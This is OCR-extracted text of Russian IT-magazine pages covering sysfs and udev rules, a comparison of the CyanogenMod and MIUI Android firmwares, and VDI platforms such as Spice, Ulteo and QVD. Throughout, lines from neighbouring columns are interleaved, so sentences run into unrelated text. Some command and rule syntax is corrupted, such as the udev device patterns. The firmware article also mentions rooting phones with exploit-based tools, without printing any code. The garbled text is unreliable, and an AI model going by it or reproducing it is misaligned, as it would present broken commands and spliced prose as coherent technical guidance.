прошлой реализации devfs, работающей внутри ядра, состоит инструменты. На самом же деле существование udisks и upower
в том, что он позволяет пользователю контролировать процесс действительно важно, так как это не просто очередные ноти-
создания файлов в каталоге /dev, а также запускать различные фикаторы, а полноценные менеджеры. Udisks, например, кроме
приложения на основе тех или иных параметров устройства, извещения системы о подключении новых дисков (что и так без
полученных от sysfs. Такая особенность позволяет делать очень него делает udev) имеет встроенный интерфейс управления:
интересные вещи, — например, назначать своей личной флешке по запросу другого приложения он может выдать подробную
уникальное имя внутри /dev или запускать приложение син- информацию о накопителе, его разметке, смонтировать/раз-
хронизации файлов, если в систему была воткнута цифровая монтировать разделы, выполнить низкоуровневые операции над
камера. Все это делается с помощью udev-правил. Системные устройством, остановить шпиндель и так далее. Чтобы проде-
правила хранятся в каталоге /lib/udev/rules.d, а для пользовате- лать эти действия самостоятельно, приложению пришлось бы
лей и администраторов предусмотрен каталог /etc/udev/rules.d. иметь права root на запись файлов в sysfs и монтирование, здесь
Позже мы рассмотрим несколько примеров использования этого же оно может просто подключиться к d-bus, запросить права
каталога. у PolicyKit и слать запросы. Немаловажно также, что udisks уме-
Чтобы информировать другие службы об изменении кон- ет выполнять поллинг устройств (например, для обнаружения
фигурации устройств и подключении новых, udev использует компакт-диска в приводе), на что не способен udev.
шину d-bus. Любое приложение, имеющее соответствующие Демон udisks снабжен утилитой пространства пользователя,
права, предоставленные тулкитом PolicyKit, может подклю- с помощью которой можно выполнить многие действия над на-
читься к шине с целью получения уведомлений и выполнения копителями. Например, чтобы просмотреть подробную инфор-
ответных действий. Так делает любая среда рабочего стола, мацию обо всех дисках системы, можно выполнить следующую
команду:
$ udisks --dump
Для установки таймаута на остановку диска: ность, связанную с управлением питанием. Он занимается тем,
что следит за состоянием питания устройств, может управлять
$ udisks --set-spindown /dev/sda --spindown-timeout СЕКУНДЫ режимами энергосбережения различных компонентов ПК и из-
вещать систему о таких событиях, как переход на использование
И, кстати говоря, все эти действия не потребуют прав root. Со- аккумулятора и сильный нагрев винчестера или видеокарты.
временные DE уже перешли на использование udisks в качестве Пока он находится в начальной стадии разработки, поэтому
менеджера накопителей и используют его даже в утилитах раз- лишь немногие дистрибутивы задействуют его возможности,
метки дисков. Также есть несколько проектов создания легковес- предпочитая использовать udev, sysfs и ACPI.
ных демонов автомонтирования, например devmon. Просто уста- Как и udisks, upower имеет утилиту управления, однако един-
нови udisks и devmon, а затем добавь в конец файла ~/.xsession ственное, что можно получить от нее на данном этапе развития,
строку (заменив fluxbox на свой менеджер окон): это сводку о состоянии питания различных компонентов машины.
Сделать это можно с помощью команды «upower --dump».
exec ck-launch-session bash -c "devmon & fluxbox"
ТРЮКИ
Так диски будут монтироваться автоматически. Вернемся к sysfs и udisks и посмотрим, какие интересные вещи
Демон upower предоставляет аналогичную функциональ- можно сделать с их помощью. Начнем с sysfs:
В каждом каталоге
3. Принудительный рескан SCSI-устройств (например для добавле- устройства sysfs
есть файл uevent,
ния на лету новых разделов в виртуальной машине): содержащий имя
устройства и его
# echo "- - -" > /sys/class/scsi_host/host0/scan major/minor-номера.
Он используется
udev для создания
4. Получение информации о питании каждого USB-порта: файлов устройств во
время загрузки.
Результат выполнения команды «upower --dump»
$ for i in `find /sys/devices/*/*/usb* \
-name level`; do echo -n "$i: "; cat $i; done
разделы флешки в каталог /mnt. При выдергивании происходит
5. Информация о компе (производитель, материнская плата и так размонтирование.
далее):
2. Синхронизация файлов:
# cat /sys/devices/virtual/dmi/id/*
ACTION=="add", KERNEL=="sd</a-z><a-z><0-9>",
6. Температура процессора: ENV{ID_USB_DRIVER}="usb-storage",
RUN+="/bin/cp -a /mnt/%k /backup/%k"
# cat /sys/class/hwmon/hwmon0/temp1_input
Это правило позволяет синхронизировать содержимое флешки
7. Управление яркостью экрана (максимальная яркость прописана с каталогом файловой системы (в данном случае /backup/имя_
в /sys/class/backlight/acpi_video0/max_brightness): устройства) с помощью обычного cp. Его следует поместить перед
последней строкой предыдущего набора правил.
# echo 8 > /sys/class/backlight/acpi_video0/brightness
3. Назначение статичных имен сетевым картам:
8. Перевод системы в спящий режим (вместо mem можно использо-
вать disk для гибернации): SUBSYSTEM=="net", ATTR{address}=="aa:bb:cc:dd:ee:ff",
NAME="lan0"
# echo mem > /sys/power/state SUBSYSTEM=="net", ATTR{address}=="ff:ee:dd:cc:bb:aa",
NAME="wlan0"
Это только малая часть того, что можно сделать, используя
sysfs. В любом случае, лучше самостоятельно покопаться в недрах Правила проверяют MAC-адрес устройства и на его основе на-
файловой системы с помощью файлового менеджера. значают имя. Строка ATTR{address} позволяет получить содержи-
Теперь поговорим об udev. Демон udev имеет систему пра- мое файла address внутри каталога устройства в sysfs.
вил, которые описывают то, как он именует создаваемые файлы
устройств, какие права им назначает и что делает после созда- 4. Автоматическое отключение тачпада при подключении мыши:
ния. Правила имеют простой формат и помещаются в файлы вну-
три каталогов /lib/udev/rules.d (системный) или /etc/udev/rules.d. ACTION=="add", SUBSYSTEM=="input", KERNEL=="mouse[1-9]",
По соглашению все файлы правил имеют префикс в виде цифры, ENV{DISPLAY}=":0.0",
который определяет порядок их загрузки. Мы назовем свой файл ENV{XAUTHORITY}="/home/USERNAME/.Xauthority",
/etc/udev/rules.d/99-custom.rules. Что в него можно поместить? ENV{ID_CLASS}="mouse", RUN+="/usr/bin/synclient TouchpadOff=1"
ACTION=="remove", SUBSYSTEM=="input", KERNEL=="mouse[1-9]",
1. Автомонтирование: ENV{DISPLAY}=":0.0",
ENV{XAUTHORITY}="/home/USERNAME/.Xauthority",
ACTION=="add", KERNEL=="sd<a-z><0-9>", ENV{ID_CLASS}="mouse", RUN+="/usr/bin/synclient TouchpadOff=0"
ENV{ID_USB_DRIVER}="usb-storage",
RUN+="/bin/mkdir -p /mnt/%k" Правила используют утилиту synclient для отключения тачпада,
ACTION=="add", KERNEL=="sd</a-z><a-z><0-9>", если в систему воткнуто устройство с именем типа /dev/mouse0,
ENV{ID_USB_DRIVER}="usb-storage", /dev/mouse1 и так далее.
RUN+="/bin/mount -o rw,noexec,dmask=000,fmask=111,utf8
/dev/%k /mnt/%k" ВЫВОДЫ
ACTION=="remove", KERNEL=="sd</a-z><a-z><0-9>", Файловая система sysfs не только позволила Linux сделать
ENV{ID_USB_DRIVER}="usb-storage", большой шаг вперед на пути к интеллектуальному десктопу,
RUN+="/bin/umount /mnt/%k" способному к самоконфигурированию, но и дала гикам отличный
инструмент для управления оборудованием. В этой статье мы рас-
Эта самый простой вариант автомонтирования, который работа- смотрели лишь часть возможностей комплекса sysfs+udev+udisks.
ет только в отношении USB-флешек. Правила проверяют устрой- Вероятно, ты сможешь придумать и более изощренные способы
ство на принадлежность к классу USB Mass Storage и монтируют его использования. z
ЗЕЛЕНЫХ РОБОТОВ
ВЫБИРАЕМ АЛЬТЕРНАТИВНУЮ
ANDROID-ПРОШИВКУ: CYANOGENMOD VS MIUI
Какую альтернативную прошивку ПРЕДИСЛОВИЕ почти с момента появления первого смартфона
Android выбрать для установки Строго говоря, CyanogenMod и MIUI не альтер- под управлением Android. Ее создал энтузиаст
нативные прошивки, а самые настоящие форки с xda-developers, скрывающийся под ником
на свой девайс? Наверняка ты операционной системы Android. Каждый из них Cyanogen (настоящее имя — Стив Кондик, не так
не раз задавался этим вопросом. включает в себя огромное количество измене- давно он начал работать в компании Samsung),
ний, которые из-за политики Google никогда не который взял за основу прошивку, созданную
Существует множество самых попадут в официальную версию ОС. Оба проекта JesusFreke. Изначально CyanogenMod пред-
разнообразных прошивок для развиваются большой командой разработчиков, ставлял собой простую модификацию ориги-
которые выполняют порты прошивки на самые нального Android, установленного на смартфон
сотен устройств, однако среди разнообразные и экзотические устройства T-Mobile G1 (Android 1.5). Однако позднее, после
всего этого разнообразия (например, существует порт CyanogenMod на присоединения к Cyanogen других разработчи-
смартфон Geeksphone One, — думаю, о нем ков и открытия кода операционной системы,
настоящих бриллиантов только большинство читателей вряд ли слышали). она превратилась в настоящий форк, сборка
два: CyanogenMod и MIUI. В чем Какую прошивку выбрать для своего аппарата которого осуществлялась из собственного репо-
— решай сам, я же помогу тебе определиться, зитория исходных текстов, включающего в себя
их преимущество, почему рассказав о возможностях и тонкостях работы множество поправок в оригинальные исходни-
они получили столь широкое с каждой из них. ки, опубликованные Google.
распространение, и как Сегодня за развитие CyanogenMod отвечают
CYANOGENMOD. ФОРК ANDROID десятки разработчиков со всего мира, а база
загрузить их на свой девайс, — В ЛУЧШИХ ТРАДИЦИЯХ официально поддерживаемых устройств вклю-
обо всем этом ты узнаешь прямо OPEN SOURCE чает в себя 56 моделей смартфонов и планше-
Итак, CyanogenMod (cyanogenmod.com). На- тов, среди которых есть как топовые девайсы
сейчас. верное, самая популярная прошивка Android типа Google Nexus S и HTC Incredible, так и бюд-
из всех существующих. Ведет свою историю жетные устройства вроде HTC Tattoo и Huawei
УСТАНОВКА
Впечатляет, не правда ли? Теперь попробуем
установить это чудо инженерной мысли на свой
смарт. Что для этого нужно? Все то же самое,
что и для установки любой другой прошивки:
Управляем привилегиями Настройки производитель- Номеронабиратель и СМС-приложение MIUI
приложения в CyanogenMod ности в CyanogenMod root-доступ, кастомная консоль восстановления
(recovery), сама прошивка и набор закрытых
U8220. Неофициальные версии прошивки для и ssh, которые позволяют комфортно работать Google-приложений (Маркет, Gmail и прочие).
десятков других моделей можно найти на фору- при подключении с помощью SSH или adb. Получив root, мы сможем изменить boot-раздел
мах xda-developers.com. Последняя стабильная Для запуска SSH-сервера можно использо- внутренней NAND-памяти, что позволит за-
версия прошивки имеет номер 7.1.0 и основана вать графический интерфейс. писать в него модифицированную консоль
на коде Android 2.3.7. Также ведется работа • Меню настроек существенно расширено восстановления (которая, в отличие от штатной,
над девятой версией прошивки, базирующей- и включает в себя множество пунктов для способна устанавливать прошивки без цифро-
ся на коде Android 4.0.3 (предполагалась, что тонкого тюнинга ОС. вой подписи производителя аппарата).
версия 8.0 будет основана на Android 3.0, но • Поддержка тем, разработанных компанией По умолчанию в Android пользователь root не
в связи с отказом Google выкладывать ее код T-Mobile. Темы устанавливаются с помощью имеет пароля, но получить его права невозмож-
в свободный доступ образовался разрыв между Android Market. но из-за отсутствия в системе инструментов для
версиями). Несмотря на сырость CyanogenMod • В состав прошивки включена поддержка логина (/bin/login) или изменения UID (/bin/su).
9, в Сети уже можно найти множество ее сборок формата FLAC. Поэтому систему необходимо поломать с помо-
для различных устройств. • Доработанное меню перезагрузки, с помо- щью одного из множества Android-эксплойтов.
щью которого можно перезагрузить телефон Вручную делать это совсем не обязательно:
ОТЛИЧИЯ И ВОЗМОЖНОСТИ прямо в консоль восстановления. для Android можно воспользоваться прило-
Чем же так хорош CyanogenMod, почему он за- • Поддержка Wi-Fi, Bluetooth и USB-тизеринга жением zroot (goo.gl/mp6wg), а в Windows или
служил свою популярность? Ответов здесь два. (эта функциональность появилась в CM еще Linux — SuperOneClick (goo.gl/HIbN), которое
Во-первых, CyanogenMod создан гиками и для до ее анонса в Android 2.2). можно запустить с помощью mono. Обе софтины
гиков, поэтому в его комплекте есть множество • Встроенный эквалайзер, который работает используют распространенные дыры в Android,
инструментов, полезных продвинутому поль- в отношении всех приложений. а поэтому способны зарутить множество различ-
зователю: например, встроенный SSH-сервер, • Многочисленные оптимизации и доработки ных устройств. Если не заработают, попробуй
интерфейс тюнинга низкоуровневых параме- в низкоуровневой части ОС, включая пере- найти руководство для своего девайса в google.
тров ОС и полноценная консоль с bash и busybox. работанную библиотеку Bionic. Далее необходимо установить кастомный
Во-вторых, в разработке CyanogenMod при- • Механизм строгих ограничений, позволяю- recovery. SuperOneClick делает это автомати-
нимает участие большое количество независи- щий запретить тем или иным приложениям чески, для всего остального есть Rom Manager,
мых разработчиков, каждый из которых может
реализовать интересную идею и рассчитывать,
что его патч будет принят в основную базу
кода. В результате в CyanogenMod можно найти
множество очень оригинальных доработок,
таких как интерфейс управления питанием
в выпадающей панели, механизм принудитель-
ного ограничения приложений в возможностях,
встроенный эквалайзер и так далее. Плюс ко
всему CyanogenMod включае т в себя большое
количество оптимизаций, которые действитель-
но поднимают производительность аппарата.
Вот далеко не полный список того, что
есть в CyanogenMod, и чего нет в стандартном
Android:
• Поддержка /etc/init.d. В CyanogenMod, как и в
Linux, можно создавать загрузочные скрипты
для запуска сторонних демонов (например,
samba или ftpd) и команд (для оптимизации
управления памятью, например).
• Возможность установки приложений на карту
памяти. В CyanogenMod есть собственный,
более прозрачный механизм установки при-
ложений на ext2-раздел карты памяти.
• Прошивка включает в себя bash, busybox Рутинг смартфона с помощью SuperOneClick
который можно установить прямо через Маркет • Для полной выгрузки приложения из памяти • Чтобы переключать музыкальные компози-
(goo.gl/W8dJK). Запустив его, выбираем пункт можно использовать долгое нажатие на ции долгим нажатием кнопки управления
«Flash ClockworkMod Recovery». Далее за- кнопку «Назад». Но функцию необходимо громкостью, активируй данную опцию: Menu
кидываем на карту памяти прошивку (ее можно активировать в настройках: Menu Æ Settings Æ Settings Æ CyanogenMod Settings Æ Input Æ
получить здесь: cyanogenmod.com/devices) Æ Application Settings Æ Development Æ Stop Volume button music controls.
и приложения Google (goo.gl/6OchT). Вновь воз- app via long-press. • Музыкальный проигрыватель также поддер-
вращаемся в Rom Manager и перезагружаемся • CyanogenMod поддерживает жесты на экране живает управление жестами: Плеер Æ Menu
в консоль восстановления, нажав «Reboot into блокировки для выполнения различных Æ Music Settings Æ Enable gestures.
Recovery». Оказавшись в консоли восстановле- функций или запуска приложений. Активация • Чтобы запретить приложениям выполнять те или
ния (или «инженерном меню», как его любят на- и управление в настройках: Menu Æ Settings иные действия (например, отправку СМС или чте-
зывать студенты технических вузов), нажимаем Æ CyanogenMod Settings Æ Lockscreen Æ ние списка контактов), открой меню управления
клавишу уменьшения громкости до тех пор, пока Lockscreen gestures. приложениями (Menu Æ Settings Æ Applications Æ
не дойдем до пункта «Wipe data/factory reset», • Цвет и поведение LED-индикатора можно Manage Application), выбери нужную программу и в
входим в меню кнопкой включения, выбираем изменить: Menu Æ SettingsÆ CyanogenMod разделе Permissions тапни по тем возможностям,
«Yes». Возвращаемся на уровень выше, выбира- Settings Æ Interface > LED notifications. которые ты хотел бы отключить.
ем «Install zip from sdcard», выбираем прошивку, • В отличие от Android, CyanogenMod способен • Для устройств с неудобной или сломанной
снова нажимаем «Yes». Таким же образом про- устанавливать на карту памяти любые прило- клавишей включения можно настроить вклю-
шиваем приложения Google. В конце возвраща- жения, вне зависимости от того, хотят они это- чение экрана с помощью клавиши «Меню»:
емся в корень меню и выбираем «Reboot system го или нет. Полезная функция для владельцев Menu ÆSettings Æ CyanogenMod settings Æ
now». смартфонов с ограниченным объемом памяти, Lockscreen Æ Unlock options Æ Menu unlock.
но опасная, так как не все приложения будут • Чтобы в списке запущенных приложений,
ИСПОЛЬЗОВАНИЕ работать корректно: Menu Æ Settings Æ доступном через долгое нажатие клавиши
В этом разделе мы поговорим о возможностях CyanogenMod SettingsÆ Application Settings Æ «Домой», видеть более восьми приложений,
прошивки. Их много, и почти все — скрыты Install location. измени значение с помощью настроек: Menu
в пользовательских настройках. Мы остановим- • CyanogenMod умеет автоматически об- Æ CyanogenMod settings Æ Input ÆLong press
ся на наиболее интересных и полезных. новляться. Для этого активируй соответ- home settings Æ Number of recent apps.
• Переключатели в выпадающей панели. Очень ствующий механизм: Menu Æ Settings Æ • Для повышения скорости загрузки отключи
удобная вещь, которая перекочевала в MIUI. CyanogenMod Settings Æ System Æ Update ее анимацию: Menu Æ CyanogenMod settings
По умолчанию их четыре, но количество и суть notifications. Æ Performance Æ Disable boot animation.
переключателей можно изменить в настрой- • Для показа заряда батареи в процентах Там же стоит включить опцию «Lock home in
ках: Menu Æ Settings Æ CyanogenMod Settings включи следующую опцию: Menu Æ Settings memory», чтобы запретить выгрузку рабочего
Æ Interface Æ Notification Power Widget Æ Æ CyanogenMod Settings Æ Status bar tweaks стола из памяти и избежать связанных с этим
Widget Buttons. Æ Battery Status Style Æ Percentage. лагов.
• Для снятия скриншота нажми кнопку вклю- Основной козырь MIUI — это интеграция 3. Встроенная защита от вредоносного ПО. В от-
чения и тапни по пункту «Screenshot», он компонентов системы друг с другом и общая за- личие от CyanogenMod, в котором ограниче-
будет сохранен на SD-карте, в каталоге DCIM/ конченность ОС. В отличие от других прошивок, ния приложений на выполнение каких-либо
Screenshots. она не выглядит недоработанной, здесь все опасных действий приходится устанавливать
• В состав CyanogenMod включено приложение подчинено общей идее и работает на удивление вручную, MIUI уведомляет пользователя о по-
DSPManager, позволяющее управлять на- слаженно. Например, если ты читаешь на сайте пытке приложения выполнить такое действие
стройками эквалайзера по отдельности для разработчиков о поддержке тем, то можешь и предлагает ему выбор «запретить/разре-
различных устройств вывода звука (наушни- быть уверен, что это не просто изменение цвета шить». Так, например, если какая-либо про-
ки, динамик). и внешнего облика графических элементов, грамма попытается отправить СМС, на экране
а полная модификация всех графических со- появится соответствующее сообщение.
MIUI. ANDROID ПО-КИТАЙСКИ ставляющих прошивки, начиная от анимации 4. Встроенный монитор сетевого трафика.
Теперь поговорим о другой прошивке со стран- загрузки и заканчивая внешним видом строки Действительно удобное приложение для про-
ным названием MIUI (произносится как «Me состояния. И да, конечно же ты получишь в рас- смотра статистики использования интернета
You I»). В отличие от CyanogenMod, развивае- поряжение менеджер тем, позволяющий искать, по дням и неделям с возможностью установки
мой сообществом на добровольных началах, просматривать и устанавливать новые темы, ко- лимита, а также полезной функцией авто-
за разработку MIUI отвечает вполне реальная торые будут автоматически закачаны с сервера отключения 3G при отсутствии активности.
китайская компания Xiaomi Tech (xiaomi.com), проекта. То же самое можно сказать и о любом В качестве бонуса доступен встроенный
бизнес которой строится на разработке мобиль- другом элементе ОС, включая стандартные при- брандмауэр, позволяющий отключать интер-
ных приложений для операционных систем iOS ложения для дозвона и отправки СМС. Трудно нет для отдельно взятых приложений.
и Android.Запущенная в 2010 году, компания описать все это по пунктам, поэтому я ограни- 5. Встроенный файервол для блокирования
изначально специализировалась только на чусь своеобразным хит-парадом возможностей звонков и СМС-сообщений от особо назой-
разработке стека приложений для Android, MIUI, которых нет ни в CyanogenMod, ни, тем ливых. Вполне стандартный, но отлично
включающего в себя музыкальный плеер, гале- более, в стандартном Android: функционирующий, в отличие от сторонних
рею, камеру, номеронабиратель и приложение 1. Номеронабиратель с поддержкой T9-поиска. приложений, половина из которых вообще не
для работы с контактами. Позднее Xiaomi Tech По большому счету, ничем не лучше и не работает.
объединила этот набор с наработками проекта хуже Dialer One, но он включен в комплект ОС 6. Встроенная программа для бэкапа прило-
CyanogenMod и начала работу над новой про- и полностью подчиняется менеджеру тем. жений и настроек (с возможностью хранения
шивкой с полностью переработанным внешним 2. Простое и стильное приложение для работы в облаке).
обликом, поддержкой тем, собственным домаш- с СМС, которым действительно удобно поль- 7. Регулярные OTA-обновления раз в неделю.
ним экраном и многими другими новшествами. зоваться. Приложение уведомляет о доставке Каждую пятницу смартфон будет предлагать
В результате получилась стильная и неверо- СМС адресату, выводит текст пришедшей СМС установить новую версию прошивки в полно-
ятно удобная в использовании операционная прямо на экран, предоставляя возможность стью автоматическом режиме.
система, которая к текущему моменту не менее быстрого ответа, и тоже подчиняется установ- 8. Синхронизация с облаком. MIUI умеет
известна, чем CyanogenMod. ленной теме. синхронизировать приложения, настройки,
INFO
• Официальные
аппараты Google,
такие как Google
Nexus One, Google
Nexus S и Samsung
Galaxy Nexus,
изначально имеют
root-доступ.
• Название MIUI
состоит из двух
частей: MI, которая
значит Mobile
Internet (или, как
это ни странно,
Mission Impossible),
и UI — User Interface.
Таким образом
в совокупности
название можно
перевести как
«интерфейс
для мобильного
интернета».
НОВАЯ ЭРА
терминальных систем
С ростом размера сети типичная среда, включающая ОС,
РАЗВОРАЧИВАЕМ приложения и данные, разбросанные на множестве компов,
ИНФРАСТРУКТУРУ становится громоздкой для управления, а пользователи
оказываются привязаны к своему рабочему месту.
VDI НА WIN2K8R2 Было предложено несколько технологий, призванных
решить данную проблему – терминальные серверы
И LINUX с централизованным хранением данных, переносимые
профили, виртуализация ОС. Но в итоге пришли к логическому
финалу — виртуализации рабочего стола.
Роль узла виртуализации рабочих столов требует наличия Hyper-V Настройка личного виртуального рабочего стола в «Свойствах» пользователя AD
SPICE
Когда UNIX перешел из эпохи текстовой консоли в эпоху графических деокарты, что позволяет ему применять множество различных техник
интерфейсов, вопрос о связи терминалов и серверов, казалось, был оптимизации передачи тяжелых данных, включая сжатие изображе-
решен. Графическая подсистема UNIX была разработана с целью обе- ний, видеопотоков, интеллектуальное распределение нагрузки между
спечения сетевого доступа к удаленному дисплею и позволяла сде- клиентом и сервером, синхронизация видео- и аудиоданных. Являясь
лать это легко и без лишних хлопот. Админ просто авторизировал воз- протоколом доступа к виртуальным машинам, Spice позволяет вы-
можных пользователей и запускал на терминалах X-сервер, который делять для различных групп пользователей виртуальные машины,
принимал запросы на отрисовку графики от приложений, работающих работающие под управлением различных ОС. В целях безопасности
на мэйнфрейме. Простая и понятная схема, превосходно работаю- каждому пользователю можно выделить собственную виртуальную
щая в 80-х. Сегодня доступ к удаленному рабочему столу с помощью машину. В общем и целом инфраструктура сети тонких клиентов, по-
X-протокола просто бессмысленен. Современные приложения уже не строенная с использованием Spice, будет выглядеть как набор простых
используют простые и легковесные команды для отрисовки своего ин- ПК, снабженных простым Spice-клиентом, и мэйнфрейма/кластера, на
терфейса, а работают с графическими буферами, постоянно посылая котором крутятся виртуальные машины с поддержкой Spice-сервера
X-серверу команды по их отрисовке и обновлению. Это очень мощный (по одной на каждого клиента или же на группу пользователей).
и тяжелый поток данных, с которым едва справляются современные Компания Red Hat, купившая разработчиков Spice в 2009 году, хорошо
каналы связи. Видео при таком способе обмена данными, например, постаралась, чтобы интегрировать поддержку протокола во все воз-
смотреть уже невозможно. Одним из способов решения этой проблемы можные средства управления виртуальными машинами. Сегодня Spice
является переход на более современные, интеллектуальные про- встроен в QEMU, библиотеку libvirt и инструменты управления вирту-
токолы доступа к удаленному рабочему столу. Spice — один из лучших альными машинами типа virt-manager и virsh. Псевдодрайвер Spice,
примеров такого протокола. По сути Spice является механизмом досту- позволяющий выжать из протокола все, уже доступен для X-сервера,
па к удаленным виртуальным машинам, позволяющий пробрасывать а в качестве клиентов доступны простой spicec, работающий поверх X
по сети не только изображение рабочего стола, но и многое другое, Window, специальный плагин для Firefox, а также несколько графиче-
включая устройства ввода, USB-порты и аудиопоток. Передача этих ских клиентов на основе библиотек GTK и Qt.
данных осуществляется настолько эффективно, что даже на не самом Фактически, все что нужно сделать для запуска простейшей
высокоскоростном соединении пользователь может свободно поль- Spice-сети — это выполнить две простые команды:
зоваться всеми услугами современных графических сред, смотреть
видео, прослушивать музыку и, в общем-то, делать все, что угодно (не 1. На стороне сервера:
удастся, пожалуй, разве что играть в современные игры). Сервер Spice
встроен в виртуальную машину и работает на уровне виртуальной ви- $ sudo apt-get install qemu-kvm
Мастер настройки виртуальных рабочих столов Подключение к удаленному рабочему столу QVD
Веб-клиент Ulteo
$ sudo apt-get install spice-client Теперь идем на машину с иксами, ставим virt-manager и подключа-
$ spicec -h localhost -p 1234 емся к libvirtd:
Для тестирования этого вполне достаточно, но для развертыва- $ sudo apt-get install virt-manager
ния сети с десятком-другим клиентов, работающих с разными $ virt-manager -c qemu+ssh://[email protected]/system
ОС, гораздо удобнее воспользоваться графическим менеджером
виртуальных машин virt-manager. Я не призываю устанавливать на Нажав на кнопку «Новая», создаем новую виртуальную ма-
сервер иксы, потому как virt-manager может работать и удаленно, шину с нужными опциями, производим установку ОС, тестируем.
посылая команды демону libvirtd по ssh. Итак, ставим на сервер Если имеем дело с UNIX, обязательно устанавливаем видеодрай-
qemu, libvirt и демон libvirtd: вер для Spice-сервера xorg-video-qxl, без него большая часть
оптимизаций не будет работать. Далее выключаем виртуальную
$ sudo apt-get install bridge-utils dnsmasq \ машину, выбираем пункт меню «Вид -> Подробности», нажимаем
kvm qemu libvirt libvirt-bin «Добавить оборудование», выбираем пункт «Graphics», в поле
«Тип» указываем «Spice server», указываем нужный номер порта
QEMU VM
Guest
vmc
Keyboard AC97
QXL (cirrus) (nic)
virtio-serial Mouse Tablet ES1370
spice server
display record
main inputs (tunnel)
cursor playback
spice client
INFO
•О настройке
ULTEO OPEN VIRTUAL DESKTOP (OVD) сервера терминалов
в Win2k8 читай в ][
09.08;
•подробнее о Hyper-
Платформа OVD (ulteo.com) от Гаэля Дюваля, создателя данными идет по RDP (TCP/3389). В текущей редакции V читай в статье
«Гиперактивная
Mandrake/Mandriva Linux, позволяет организовать доступ пользователь может без проблем воспроизводить аудио- виртуальность», ][
при помощи веб-браузера или специального клиента и видеофайлы из домашних каталогов, размещенных на 02.09;
к рабочим столам или отдельным приложениям на базе удаленных системах. Поддерживается более двадцати •в ][ 11.10 ты
найдешь обзор
Linux или Windows. При этом пользователь подключается языков, в том числе и русский. Серверная часть платформы VMware View 4.5;
к своему рабочему месту с любого ПК, на котором установлен поддерживает установку (через специальный репозиторий) •в Win2k8R2 RDS
умеет назначать
браузер с Java плагином. Решение совместимо с некоторыми на Ubuntu 10.04 LTS, RHEL 5.5 (неофициально CentOS и Fe- динамический/
облачными системами вроде Amazon EC2. Структурно OVD dora), Novell SLES 11 SP1, Win2k3/2k8/R2 (только сервер виртуальный
состоит из нескольких компонентов: менеджера сессий, приложений). Доступен и установочный DVD, построенный на IP-адрес каждому
сеансу или
сервера приложений, файлового сервера и шлюза. Первые базе Ubuntu. приложению, что
два являются основными. Аутентификация пользователя Сегодня Ulteo активно развивается и зарекомендовал решает проблему
привязки к IP;
возможна средствами LDAP/AD и CAS. себя стабильным продуктом, используется в госсекторе •технологии TS/RDS
В настоящее время доступен RC8 новой ветки 3.0. Для и образовании, небольших и средних предприятиях, а также и VDI не
организации подключения к удаленным рабочим столам некоторыми хостинговыми компаниями, предоставляющими взаимоисключают,
а дополняют друг
используется защищенный протокол HTTPS/443, обмен услуги удаленного доступа. друга;
• в настоящее время
QVD используется
в крупнейшем банке
Мексики BBVA
Bancomer.
ORACLE VDI
WWW
•Набор руководств
Технология, являющаяся частью Oracle Virtualization — набора защиты (на локальной машине не сохраняется никакая от Microsoft по
средств виртуализации, который призван покрывать все лишняя информация — cookie, кэш, авторизация и так далее). развертыванию RDS
и VDI: clck.ru/WddP;
потребности организаций от терминалов (вроде Sun Ray) до ЦОД К слову, менеджер администрирования VDI также написан •сайт QVD:
(Sun Fire, Sun Storage). Oracle VDI представляет собой менеджер на Java и представляет собой веб-приложение. Режим «kiosk theqvd.com.
сессий — connection broker — обеспечивающий подключение mode» позволяет работать с приложением в полноэкранном
клиентов к виртуальным рабочим местам по протоколам режиме без возможности доступа к самой ОС. Технология WARNING
RDP или SGD (Oracle Secure Global Desktop). В качестве Array Resilience в случае недоступности основного сервера Для возможности
виртуальных машин (Virtualization Layer) могут выступать автоматически переключает соединение на следующий удаленного
VirtualBox, VMware vSphere, Hyper-V, а также отдельные ПК, сервер в массиве. Пользователи могут иметь персональные подключения
к сессии клиентов
предоставляющие доступ по RDP. Приложения могут работать десктопы или работать с пулом, подключать сменные носители, необходимо в ветке
под управлением любой популярной ОС (Windows, Solaris, воспроизводить качественное видео и аудио, получить реестра HKEY_LOCAL_
MACHINE\SYSTEM\Cur-
Linux, *nix и др). В случае выбора SGD пользователь запускает 32-битный цвет и так далее. Индивидуальные параметры rentControlSet\Con-
в браузере специальный веб-клиент, обеспечивающий доступ подключений можно хранить в атрибутах AD/LDAP. В качестве trol\TerminalServer
к данным с любого устройства (браузер, поддерживающий базовой платформы используется Solaris или Oracle Enterprise установить значение
параметра AllowRe-
Java[RR1]), шифрование сеанса и дополнительный уровень Linux (клон RHEL). moteRPC в «1».
ботки до 9 000 одновременных сессий, причем успешно справлялся После обновления в списке появится несколько пакетов qvd-*. Для
с работой. Сервер управления обеспечивает подключение клиентов, упрощения изучения разработчики предлагают специальный мета-
запуск нужной VM и получение виртуального IP. Состоит из трех пакет, устанавливающий все компоненты на один сервер:
компонентов: брокера соединений L7R, демона HKD (House Keeping
Daemon), отвечающего за пуск/останов VM и связь с БД, и Node $ sudo apt-get install \
— элемента управления L7R и HKD. Для хранения данных исполь- qvd-demo-single-instance-nosupport qvd-admin
зуется любой NAS/SAN ресурс. Управление и мониторинг работы
производятся при помощи веб-интерфейса QVD Web Administration Теперь можно подключаться к WAT, который по умолчанию рабо-
Tool (WAT, написан на Perl Catalyst) или из консоли (qvd-admin). тает на 3000 порту, и приступать к настройкам. Чтобы упростить
Доступно несколько версий QVD – свободный Community, плат- установку, из поставки убраны все образы ОС, поэтому их при-
ный Commercial и сервис Cloud (на хостинге QVD). Сравнение их дется «готовить» самостоятельно (за плату разработчики пред-
функциональности можно найти на сайте. лагают несколько вариантов, в том числе и индивидуальные). Все
Проект предоставляет репозиторий пакетов для Ubuntu 10.04 образы хранятся в четырех подкаталогах /var/lib/qvd/storage (его
LTS и SLES, а также демообразы для виртуальных машин (на базе обычно монтируют через NFS): homes (qcow2 изображения поль-
Ubuntu 10.10). Но разработчики отмечают, что установить QVD при зовательского /home), images (ОС), overlays (временные файлы)
помощи исходных текстов можно на любом Linux. В Ubuntu 10.04 и staging.
LTS процесс выглядит довольно просто, вначале следует добавить
информацию о новом репозитории: ЗАКЛЮЧЕНИЕ
Как ты мог убедиться, идея терминалов и единого вычислительного
$ sudo apt-add-repository \ центра продолжает жить и процветать, заставляя программистов
'deb http://theqvd.com/debian lucid main' и админов выдумывать все более изощренные методы связи, удо-
$ sudo apt-get update влетворяющие потребностям сегодняшнего дня. z
НЕИЗМЕННО ВЫСОКАЯ
ДОСТУПНОСТЬ
РАЗВОРАЧИВАЕМ Каждая организация в той или иной мере
нуждается в быстром и надежном сервисе
